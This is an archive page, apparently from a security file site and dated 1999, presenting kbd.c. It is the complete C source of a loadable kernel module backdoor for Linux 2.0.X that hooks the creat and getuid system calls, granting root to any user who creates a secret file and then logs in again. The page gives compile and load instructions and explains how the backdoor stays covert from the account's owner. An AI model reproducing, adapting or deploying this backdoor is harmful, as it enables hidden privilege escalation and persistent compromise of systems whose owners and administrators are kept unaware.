seeing is believing

kbd.c

kbd.c
Posted Sep 25, 1999

Linux loadable kernel module backdoor for 2.0.X. kbd is a nice little backdoor that allows root access by modifing the SYS_creat and SYS_getuid system calls. Usage after insmod is fairly strait forward: 1. login as a normal user 2. host:~$ touch foobar 3. login again under the *same* username 4. the second login session will be given root privileges 5. Remember to repeat this procedure everytime you plan on using the backdoor. To keep this covert, the special uid resets after root is given out, this prevents the legitimate owner of the account from receiving a suspicious root shell when he/she logs in.

tags | exploit, shell, kernel, root
systems | linux
MD5 | 5391235593edac1a1ec2d0ad1c0452e4

kbd.c

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/* kbd - Linux loadable kernel module backdoor for 2.0.X   */
/* 9.17.99 spaceork@dhp.com */
/* */
/* Tested on Linux 2.0.38 */
/* */
/* compile: host:~# gcc -c -O2 kbd.c */
/* */
/* add(as root): host:~# insmod kbd.o */
/* remove(as root): host:~# rmmod kbd.o */ /* */
/* Usage notes: */
/* kbd is a nice little backdoor that allows root access by */
/* modifing the SYS_creat and SYS_getuid system calls. */
/* Usage after insmod is fairly strait forward: */
/* 1. login as a normal user */
/* 2. host:~$ touch foobar */
/* 3. login again under the *same* username */
/* 4. the second login session will be given root privileges */
/* host:~# id */
/* uid=0(root) gid=0(root) groups=100(users) */
/* 5. Remember to repeat this procedure everytime you plan on */
/* using the backdoor. To keep this covert, the special uid */
/* resets after root is given out, this prevents the */
/* legitimate owner of the account from receiving a */
/* suspicious root shell when he/she logs in. */
/* */
/* TODO: Maybe add some stealth capability, this however might */
/* kill its hope of kernel generation portablilty. */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_creat)(const char *pathname, mode_t mode);
int (*orig_getuid)();
int u;

int bd_creat(const char *pathname, mode_t mode)
{
int tmp;
char *k_pathname;
char name[] = "foobar"; /* change to whatever you wish */

/* copy to kernel space */
k_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(k_pathname, pathname, 255);

/* Is the pathname our secret one? If so make the current uid special. */
if (strstr(k_pathname, (char*)&name) != NULL) {
printk("Your Kung-Fu is good.\n");
u = current->uid;

}
tmp = (*orig_creat)(pathname, mode);
return tmp;
}

int bd_getuid()
{
int tmpp;

/* Give root to the special uid, then reset the value of u. */
if (current->uid == u) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
u = 55555; /* change if this bothers you */
return 0;
}
tmpp = (*orig_getuid) ();
return tmpp;
}


int init_module(void) /* setup the module */
{
orig_creat = sys_call_table[SYS_creat];
orig_getuid = sys_call_table[SYS_getuid];

sys_call_table[SYS_creat] = bd_creat;
sys_call_table[SYS_getuid] = bd_getuid;
return 0;
}

void cleanup_module(void) /* shutdown the module */
{
sys_call_table[SYS_creat] = orig_creat;
sys_call_table[SYS_getuid] = orig_getuid;
}

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